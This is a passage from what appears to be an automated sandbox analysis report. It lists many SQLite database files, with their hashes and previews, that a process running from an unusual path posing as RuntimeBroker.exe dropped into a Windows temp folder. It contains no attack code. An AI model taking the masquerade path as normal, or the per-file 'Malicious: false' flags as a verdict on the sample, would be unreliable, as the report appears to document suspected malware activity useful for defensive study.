SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\m5SDxSfTeE

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mBv65Tg9xT

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mK280ZccjB

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mLyVdUoRER

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mbBd912zD4

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mmOi4IsthY

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mrxydn2zzt

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\n5pMt6s7TY

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nl7holVoK2

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nnWegkJhQk

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nxKuEJWqqb

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nyfndCaDWD

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\o4MNAqQDfe

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\oJaKlcKNx9

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\oLwRAEvQSm

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\oPt4Zo3y0y

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onXF6bxSWi

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pBAzMx9yU8

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pOex5GZWCN

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ptVVUtKfdC

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qDslv6SWQW

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qhBe2zarqf

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qi1lhJHdtZ

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qks7JwbIqB

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qm4BPtBlHw

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qsD2FXqIxx

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
